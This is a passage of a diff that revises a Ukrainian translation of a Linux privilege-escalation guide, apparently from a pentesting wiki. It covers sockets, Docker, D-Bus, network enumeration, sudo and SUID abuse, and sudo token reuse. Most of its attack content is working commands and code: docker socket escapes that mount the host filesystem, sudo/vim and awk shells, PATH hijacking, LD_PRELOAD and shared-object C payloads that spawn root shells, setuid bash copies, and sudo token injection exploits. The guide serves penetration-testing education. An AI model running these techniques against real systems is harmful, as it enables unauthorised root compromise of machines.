з'єднання. Якщо **false**, усі прослуховуючі сокети самі **передаються до запущеної service unit**, і для всіх з'єднань створюється тільки одна service unit. Це значення ігнорується для datagram сокетів та FIFO, де одна service unit безумовно обробляє весь вхідний трафік. **За замовчуванням — false**. З міркувань продуктивності рекомендовано писати нові демони таким чином, щоб вони підходили для `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Приймають одну або декілька командних рядків, які **виконуються до** або **після** створення та прив'язки прослуховуючих **sockets**/FIFO відповідно. Першим токеном командного рядка має бути абсолютне ім'я файлу, далі — аргументи процесу. +- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються до** або **після** закриття та видалення прослуховуючих **sockets**/FIFO відповідно. +- `Service`: Вказує ім'я **service** unit, який потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена тільки для сокетів з Accept=no. За замовчуванням використовується service з тією ж назвою, що й сокет (із заміненим суфіксом). У більшості випадків застосовувати цю опцію не потрібно. -### Записувані .socket файли +### Записувані `.socket` файли -Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на зразок: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\ -_Зверніть увагу, що система повинна використовувати цю конфігурацію файлу сокета, інакше бекдор не буде виконано_ +Якщо ви знайдете **доступний для запису** `.socket` файл, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому, **ймовірно, вам доведеться зачекати до перезавантаження машини.**\ _Зауважте, що система має використовувати цю конфігурацію socket файлу, інакше backdoor не буде виконано_ -### Записувані сокети +### Доступні для запису сокети -Якщо ви **виявите будь-який записуваний сокет** (_тепер ми говоримо про Unix сокети, а не про конфігураційні файли `.socket`_), то **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість. +Якщо ви **виявите будь-який записуваний сокет** (_тут йдеться про Unix Sockets, а не про конфігураційні `.socket` файли_), тоді **ви можете спілкуватися** з цим сокетом і, можливо, exploit a vulnerability. -### Перерахунок Unix сокетів +### Перерахування Unix сокетів ```bash netstat -a -p --unix ``` -### Сира з'єднання +### Пряме з'єднання ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -480,50 +481,50 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of socket-command-injection.md {{#endref}} -### HTTP сокети +### HTTP sockets -Зверніть увагу, що можуть бути деякі **сокети, що слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, що діють як unix сокети_). Ви можете перевірити це за допомогою: +Зверніть увагу, що можуть існувати деякі **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати якусь вразливість**. +Якщо socket **відповідає на HTTP-запит**, то ви можете **спілкуватися** з ним і, можливо, **експлуатувати якусь вразливість**. -### Записуваний Docker Socket +### Docker socket, доступний для запису -Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокета може призвести до ескалації привілеїв. Ось розбивка того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний. +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. За замовчуванням він доступний для запису користувачу `root` та членам групи `docker`. Наявність прав запису до цього socket може призвести до privilege escalation. Нижче наведено розбір того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний. -#### **Ескалація привілеїв з Docker CLI** +#### **Privilege Escalation за допомогою Docker CLI** -Якщо у вас є доступ на запис до Docker сокета, ви можете ескалувати привілеї, використовуючи наступні команди: +Якщо у вас є права запису до Docker socket, ви можете escalate privileges, використавши наступні команди: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ці команди дозволяють вам запустити контейнер з доступом на рівні root до файлової системи хоста. +Ці команди дозволяють запустити контейнер з root-доступом до файлової системи хоста. -#### **Використання Docker API безпосередньо** +#### **Using Docker API Directly** -У випадках, коли Docker CLI недоступний, сокет Docker все ще можна маніпулювати, використовуючи Docker API та команди `curl`. +У випадках, коли Docker CLI недоступний, docker socket все ще можна маніпулювати за допомогою Docker API і `curl` команд. -1. **Список Docker Images:** Отримати список доступних образів. +1. **List Docker Images:** Отримати список доступних образів. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Створити контейнер:** Відправити запит на створення контейнера, який монтує кореневий каталог системи хоста. +2. **Create a Container:** Надіслати запит на створення контейнера, який монтує кореневий каталог хост-системи. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Запустіть новостворений контейнер: +Запустіть щойно створений контейнер: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Приєднатися до контейнера:** Використовуйте `socat`, щоб встановити з'єднання з контейнером, що дозволяє виконувати команди в ньому. +3. **Attach to the Container:** Використайте `socat`, щоб встановити з'єднання з контейнером і виконувати команди всередині нього. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -533,20 +534,20 @@ Connection: Upgrade Upgrade: tcp ``` -Після налаштування з'єднання `socat` ви можете виконувати команди безпосередньо в контейнері з доступом на рівні root до файлової системи хоста. +Після налаштування з'єднання через `socat` ви можете виконувати команди безпосередньо в контейнері з root-доступом до файлової системи хоста. -### Інше +### Others -Зверніть увагу, що якщо у вас є права на запис над сокетом docker, тому що ви **всередині групи `docker`**, у вас є [**більше способів підвищити привілеї**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API слухає на порту**, ви також можете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Зауважте, що якщо у вас є права запису до docker socket тому що ви **inside the group `docker`** — у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Перевірте **більше способів вийти з docker або зловживати ним для підвищення привілеїв** в: +Перегляньте **more ways to break out from docker or abuse it to escalate privileges** у: {{#ref}} docker-security/ {{#endref}} -## Підвищення привілеїв Containerd (ctr) +## Containerd (ctr) privilege escalation Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: @@ -555,7 +556,7 @@ docker-security/ containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** підвищення привілеїв +## **RunC** privilege escalation Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: @@ -566,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus — це складна **система міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну структуру для різних форм комунікації між додатками. +D-Bus — це складна система міжпроцесної взаємодії (IPC), що дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасної Linux-системи, вона пропонує надійну платформу для різних форм комунікації між додатками. -Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були складними. +Система є універсальною, підтримуючи базовий IPC, що полегшує обмін даними між процесами, нагадуючи **enhanced UNIX domain sockets**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth демона про вхідний дзвінок може змусити музичний плеєр приглушити звук, покращуючи взаємодію з користувачем. Також D-Bus підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. -D-Bus працює за моделлю **дозволити/заборонити**, керуючи дозволами на повідомлення (виклики методів, випромінювання сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів. +D-Bus працює за **allow/deny model**, керуючи дозволами на повідомлення (виклики методів, емісії сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з bus, що потенційно може дозволити ескалацію привілеїв через експлуатацію цих дозволів. -Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` надається, детально описуючи дозволи для користувача root на володіння, відправку та отримання повідомлень від `fi.w1.wpa_supplicant1`. +Приклад такої політики у `/etc/dbus-1/system.d/wpa_supplicant.conf` наведено нижче, який деталізує дозволи для користувача root на володіння, відправлення та отримання повідомлень від `fi.w1.wpa_supplicant1`. -Політики без зазначеного користувача або групи застосовуються універсально, тоді як "за замовчуванням" контекстні політики застосовуються до всіх, які не охоплені іншими специфічними політиками. +Політики без вказаного користувача або групи застосовуються універсально, тоді як політики з контекстом "default" застосовуються до всіх, хто не покритий іншими специфічними політиками. ```xml @@ -583,7 +584,7 @@ D-Bus працює за моделлю **дозволити/заборонити ``` -**Дізнайтеся, як перерахувати та експлуатувати D-Bus комунікацію тут:** +**Дізнайтеся тут, як enumerate і exploit комунікацію D-Bus:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -591,9 +592,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Мережа** -Завжди цікаво перерахувати мережу та з'ясувати позицію машини. +Завжди цікаво enumerate мережу й визначити розташування машини. -### Загальне перерахування +### Загальна enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -616,24 +617,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Відкриті порти +### Open ports -Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти до її доступу: +Завжди перевіряйте network services, які працюють на машині і з якими ви не могли взаємодіяти до отримання доступу: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Перевірте, чи можете ви перехоплювати трафік. Якщо так, ви зможете отримати деякі облікові дані. +Перевірте, чи можете sniff traffic. Якщо так, ви можете здобути деякі credentials. ``` timeout 1 tcpdump ``` ## Користувачі -### Загальна Перерахунка +### Загальна енумерація -Перевірте **хто** ви, які **привілеї** у вас є, які **користувачі** є в системах, які можуть **увійти** і які мають **root-привілеї:** +Перевірте, хто ви, які у вас **привілеї**, які **користувачі** є в системі, хто може **увійти** і хто має **root-привілеї**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,12 +658,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Використайте**: **`systemd-run -t /bin/bash`** +Деякі версії Linux були вражені багом, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Експлуатуйте** за допомогою: **`systemd-run -t /bin/bash`** ### Groups -Перевірте, чи є ви **членом якоїсь групи**, яка може надати вам root-привілеї: +Перевірте, чи є ви **членом якоїсь групи**, яка може надати вам права root: {{#ref}} @@ -671,7 +672,7 @@ interesting-groups-linux-pe/ ### Clipboard -Перевірте, чи є щось цікаве в буфері обміну (якщо можливо) +Перевірте, чи є всередині буфера обміну щось цікаве (якщо можливо) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -688,27 +689,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Відомі паролі -Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти як кожен користувач**, використовуючи цей пароль. +Якщо ви **знаєте будь-який пароль** серед середовища, **спробуйте увійти під кожним користувачем**, використовуючи цей пароль. ### Su Brute -Якщо вам не шкода створювати багато шуму і бінарні файли `su` та `timeout` присутні на комп'ютері, ви можете спробувати брутфорсити користувача, використовуючи [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається брутфорсити користувачів. +Якщо вас не лякає велика кількість шуму і бінарники `su` та `timeout` присутні на машині, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається brute-force користувачів. -## Зловживання записуваними шляхами +## Зловживання записуваним $PATH ### $PATH -Якщо ви виявите, що можете **записувати в деяку папку $PATH**, ви можете підвищити привілеї, **створивши бекдор у записуваній папці** з назвою якоїсь команди, яка буде виконуватися іншим користувачем (ідеально root) і яка **не завантажується з папки, що розташована перед** вашою записуваною папкою в $PATH. +Якщо ви виявите, що можете **записувати всередину якоїсь теки з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записуваній теці** з ім’ям якоїсь команди, яка виконуватиметься іншим користувачем (ideally root), і яка **не завантажується з теки, що розташована перед** вашою записуваною текою в $PATH. -### SUDO та SUID +### SUDO and SUID -Вам може бути дозволено виконувати деякі команди за допомогою sudo або вони можуть мати біт suid. Перевірте це, використовуючи: +Вам може бути дозволено виконувати певні команди з використанням sudo, або ці бінарники можуть мати suid bit. Перевірте це за допомогою: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Деякі **неочікувані команди дозволяють вам читати та/або записувати файли або навіть виконувати команду.** Наприклад: +Деякі **неочікувані команди дозволяють читати і/або записувати файли або навіть виконувати команду.** Наприклад: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -719,31 +720,31 @@ less>! ``` ### NOPASSWD -Конфігурація Sudo може дозволити користувачу виконувати деякі команди з привілеями іншого користувача без знання пароля. +Конфігурація sudo може дозволяти користувачу виконувати певну команду з привілеями іншого користувача без знання пароля. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -У цьому прикладі користувач `demo` може запускати `vim` як `root`, тепер тривіально отримати оболонку, додавши ssh-ключ у директорію root або викликавши `sh`. +У цьому прикладі користувач `demo` може запускати `vim` як `root`; отримати shell тепер тривіально — додавши ssh-ключ у каталог `root` або викликавши `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання чогось: +Ця директива дозволяє користувачу **set an environment variable** під час виконання чогось: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Цей приклад, **оснований на HTB машині Admirer**, був **вразливим** до **PYTHONPATH hijacking** для завантаження довільної бібліотеки python під час виконання скрипта від імені root: +Цей приклад, **based on HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта від імені root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo виконання обходу шляхів +### Обхід шляхів виконання sudo -**Перейти** до читання інших файлів або використовувати **символічні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** — щоб прочитати інші файли або використовувати **symlinks**. Наприклад, в sudoers файлі: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -760,39 +761,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Команда Sudo/SUID бінарний файл без шляху до команди +### Sudo команда/SUID бінарний файл без вказаного шляху до команди -Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете скористатися цим, змінивши змінну PATH. +Якщо надано **sudo дозвіл** для однієї команди **без вказування шляху**: _hacker10 ALL= (root) less_ ви можете exploit це, змінивши змінну PATH variable ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо **suid** бінар **виконує іншу команду без вказівки шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінару)**. +Цю техніку також можна використовувати, якщо **suid** бінарник **виконує іншу команду без вказання шляху до неї (завжди перевіряйте вміст підозрілого SUID бінарника за допомогою** _**strings**_**)**). -[Приклади корисного навантаження для виконання.](payloads-to-execute.md) +[Приклади payload для виконання.](payloads-to-execute.md) -### SUID бінар з шляхом до команди +### SUID binary з вказаним шляхом до команди -Якщо **suid** бінар **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає файл suid. +Якщо **suid** бінарник **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **export a function** з ім'ям тієї команди, яку викликає suid файл. -Наприклад, якщо suid бінар викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її: +Наприклад, якщо suid бінарник викликає _**/usr/sbin/service apache2 start**_ потрібно спробувати створити функцію та експортувати її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Тоді, коли ви викликаєте двійковий файл з suid, ця функція буде виконана +Тоді, коли ви викликаєте suid binary, ця функція буде виконана ### LD_PRELOAD & **LD_LIBRARY_PATH** -Змінна середовища **LD_PRELOAD** використовується для вказівки однієї або кількох спільних бібліотек (.so файлів), які повинні бути завантажені завантажувачем перед усіма іншими, включаючи стандартну бібліотеку C (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. +Змінна середовища **LD_PRELOAD** використовується для вказання однієї або кількох спільних бібліотек (.so файлів), які завантажувач має завантажити перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. -Однак, щоб підтримувати безпеку системи та запобігти експлуатації цієї функції, особливо з **suid/sgid** виконуваними файлами, система накладає певні умови: +Однак, щоб зберегти безпеку системи й запобігти використанню цієї можливості для атак, особливо у випадку виконуваних файлів **suid/sgid**, система застосовує певні обмеження: -- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). -- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також є suid/sgid. +- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). +- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки зі стандартних шляхів, які також мають suid/sgid. -Ескалація привілеїв може статися, якщо у вас є можливість виконувати команди з `sudo`, і вихід `sudo -l` містить твердження **env_keep+=LD_PRELOAD**. Ця конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися та бути визнаною навіть тоді, коли команди виконуються з `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. +Ескалація привілеїв може відбутися, якщо у вас є можливість виконувати команди з `sudo`, і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатись і враховуватись навіть під час виконання команд з `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` @@ -809,17 +810,17 @@ setuid(0); system("/bin/bash"); } ``` -Тоді **скомпілюйте це** за допомогою: +Потім **скомпілюйте це** використовуючи: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Нарешті, **підвищте привілеї** запустивши +Нарешті, **escalate privileges** запустивши ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Схожий privesc може бути зловжито, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки. +> Аналогічний privesc може бути використаний, якщо атакуючий контролює змінну оточення **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки. ```c #include #include @@ -841,13 +842,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Коли ви стикаєтеся з бінарним файлом з **SUID** правами, який здається незвичайним, доцільно перевірити, чи він правильно завантажує **.so** файли. Це можна перевірити, виконавши наступну команду: +Коли ви натрапляєте на binary з правами **SUID**, який виглядає підозріло, варто перевірити, чи він правильно завантажує файли **.so**. Це можна зробити, виконавши таку команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, виникнення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Немає такого файлу або каталогу)"_ вказує на потенціал для експлуатації. +Наприклад, виявлення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. -Щоб експлуатувати це, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код: +Щоб експлуатувати це, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який містить наступний код: ```c #include #include @@ -858,15 +859,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпуляції з правами доступу до файлів та виконання оболонки з підвищеними привілеями. +Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпуляцій з дозволами файлів та запуску shell із підвищеними привілеями. -Скомпілюйте вищезазначений C файл у спільний об'єкт (.so) файл за допомогою: +Скомпілюйте наведений C-файл у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Нарешті, виконання ураженого SUID бінарного файлу має активувати експлойт, що дозволяє потенційне компрометування системи. +Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи. -## Викрадення спільних об'єктів +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -876,7 +877,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли ми знайшли SUID бінарний файл, що завантажує бібліотеку з папки, куди ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою: +Тепер, коли ми знайшли SUID binary, який завантажує library з папки, у яку ми можемо записувати, давайте створимо library в цій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -889,17 +890,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Якщо ви отримуєте помилку, таку як +Якщо ви отримаєте помилку, таку як ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -це означає, що бібліотека, яку ви створили, повинна мати функцію під назвою `a_function_name`. +це означає, що згенерована вами бібліотека повинна мати функцію під назвою `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) - це кураторський список Unix-бінарників, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) - це те ж саме, але для випадків, коли ви можете **тільки інжектувати аргументи** в команду. +[**GTFOBins**](https://gtfobins.github.io) — курована добірка Unix бінарних файлів, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише інжектувати аргументи** в команду. -Проект збирає легітимні функції Unix-бінарників, які можуть бути зловживані для виходу з обмежених оболонок, ескалації або підтримки підвищених привілеїв, передачі файлів, створення прив'язаних і реверсних оболонок, а також полегшення інших завдань після експлуатації. +Проект збирає легітимні функції Unix бінарників, які можна зловживати, щоб вийти з обмежених shell, підвищити або зберегти привілеї, передавати файли, створювати bind та reverse shells і полегшувати інші post-exploitation завдання. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -918,60 +919,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Якщо ви можете отримати доступ до `sudo -l`, ви можете використовувати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), щоб перевірити, чи знайде він спосіб експлуатувати будь-яке правило sudo. +Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знаходить він спосіб експлуатації будь-якого правила sudo. -### Повторне використання токенів Sudo +### Повторне використання sudo токенів -У випадках, коли у вас є **доступ до sudo**, але немає пароля, ви можете ескалувати привілеї, **чекаючи виконання команди sudo, а потім перехоплюючи токен сесії**. +У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, **чекаючи виконання команди sudo та перехопивши сесіонний токен**. -Вимоги для ескалації привілеїв: +Вимоги для підвищення привілеїв: -- У вас вже є оболонка як користувач "_sampleuser_" -- "_sampleuser_" **використовував `sudo`** для виконання чогось за **останні 15 хвилин** (за замовчуванням це тривалість токена sudo, який дозволяє нам використовувати `sudo` без введення пароля) -- `cat /proc/sys/kernel/yama/ptrace_scope` дорівнює 0 -- `gdb` доступний (ви повинні мати можливість його завантажити) +- Ви вже маєте shell як користувач "_sampleuser_" +- "_sampleuser_" повинен був **використати `sudo`** для виконання чогось **в останні 15 хвилин** (за замовчуванням це тривалість sudo токена, який дозволяє нам використовувати `sudo` без введення пароля) +- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0 +- `gdb` доступний (ви можете завантажити його) -(Ви можете тимчасово увімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або назавжди змінивши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) +(Ви можете тимчасово увімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінити `/etc/sysctl.d/10-ptrace.conf` і встановити `kernel.yama.ptrace_scope = 0`) -Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Якщо всі ці вимоги виконані, **ви можете підвищити привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **Перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root-оболонку, виконайте `sudo su`): +- Перший **експлойт** (`exploit.sh`) створить бінарник `activate_sudo_token` в _/tmp_. Ви можете використати його, щоб **активувати sudo токен у вашій сесії** (ви не отримаєте автоматично root shell — виконайте `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Другий експлойт (`exploit_v2.sh`) створить sh shell в _/tmp_ **власником якого є root з setuid** +- **другий exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_, **власником якого буде root і який матиме setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними і дозволяє всім користувачам використовувати sudo. +- **третій exploit** (`exploit_v3.sh`) **створить файл sudoers**, що робить **sudo tokens вічними і дозволяє всім користувачам використовувати sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Якщо у вас є **права на запис** у папці або на будь-яких створених файлах всередині папки, ви можете використовувати бінарний [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) для **створення токена sudo для користувача та PID**.\ -Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і у вас є оболонка як цього користувача з PID 1234, ви можете **отримати привілеї sudo** без необхідності знати пароль, виконавши: +Якщо у вас є **права на запис** у теці або для будь-якого файлу, створеного в ній, ви можете використати бінарник [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), щоб **створити sudo token для користувача та PID**.\ +Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і у вас є shell під цим користувачем з PID 1234, ви можете **obtain sudo privileges** без необхідності знати пароль, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Файл `/etc/sudoers` та файли в 